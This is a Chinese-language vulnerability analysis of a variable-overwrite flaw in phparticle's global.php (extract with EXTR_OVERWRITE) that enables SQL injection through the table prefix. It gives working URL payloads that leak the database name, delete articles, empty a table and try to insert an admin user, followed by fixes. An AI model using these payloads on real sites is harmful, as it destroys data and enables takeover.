phparticle被公認為PHP最安全文章系統之一,但global.php中一行extract($configuration, EXTR_OVERWRITE)引入致命變量覆蓋漏洞,允許攻擊者通過URL參數覆蓋任意全局變量(包括$db_prefix表前綴),構造SQL注入。
/global.php
extract($configuration, EXTR_OVERWRITE); // 關鍵漏洞行
// 原註釋掉的安全寫法:extract($configuration, EXTR_SKIP);
EXTR_OVERWRITE導致外部提交的configuration[db_prefix]覆蓋內部$db_prefix,進而影響所有SQL查詢語句拼接。
為觀察SQL語句,修改代碼將所有查詢賦值給$sql並在首頁輸出。首個執行語句為:
DELETE FROM pa_session WHERE expiry < 1103398532
| 提交Payload | 生成SQL | 結果 |
|---|---|---|
?configuration[db_prefix]=angel | DELETE FROM angelsession WHERE expiry<... | 報錯:Table 'article20.angelsession' doesn't exist(洩露資料庫名article20) |
?configuration[db_prefix]=pa_article where articleid=1/* | DELETE FROM pa_article where articleid=1/*session WHERE expiry>... | DELETE成功(文章被刪),但後續SELECT/INSERT語法錯誤終止執行 |
?configuration[db_prefix]=pa_user VALUES (null, char(110,97,109,101), 1, char(102,52,102,48,54,56,101,55,49,101,48,100,56,55,98,102,48,97,100,53,49,101,54,50,49,52,97,98,56,52,101,57), 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 8);/* | 首條DELETE語法錯誤直接終止 | 無法實現INSERT注入管理員 |
?configuration[db_prefix]=pa_article/* | DELETE FROM pa_article/*session WHERE expiry<... | 註釋掉後續條件,但DELETE無WHERE條件清空全表,程序隨後報錯停止 |
extract()配合EXTR_OVERWRITE允許用戶輸入覆蓋核心配置變量。$db_prefix直接拼接進SQL語句,無參數化/預編譯。EXTR_OVERWRITE改為EXTR_SKIP(僅導入不存在的變量)或EXTR_PREFIX_ALL加前綴隔離。$stmt = $pdo->prepare("DELETE FROM {$prefix}session WHERE expiry < ?");。$db_prefix僅允許字母數字下劃線,長度限制。extract()、import_request_variables()、parse_str()、mb_parse_str()調用點。register_globals=On環境(PHP 5.4已移除,但舊代碼可能模擬)。array_merge、+運算符順序)。此漏洞再次證明:**永遠不要信任用戶輸入直接參與代碼/邏輯構建**,參數化查詢與嚴格輸入驗證是鐵律。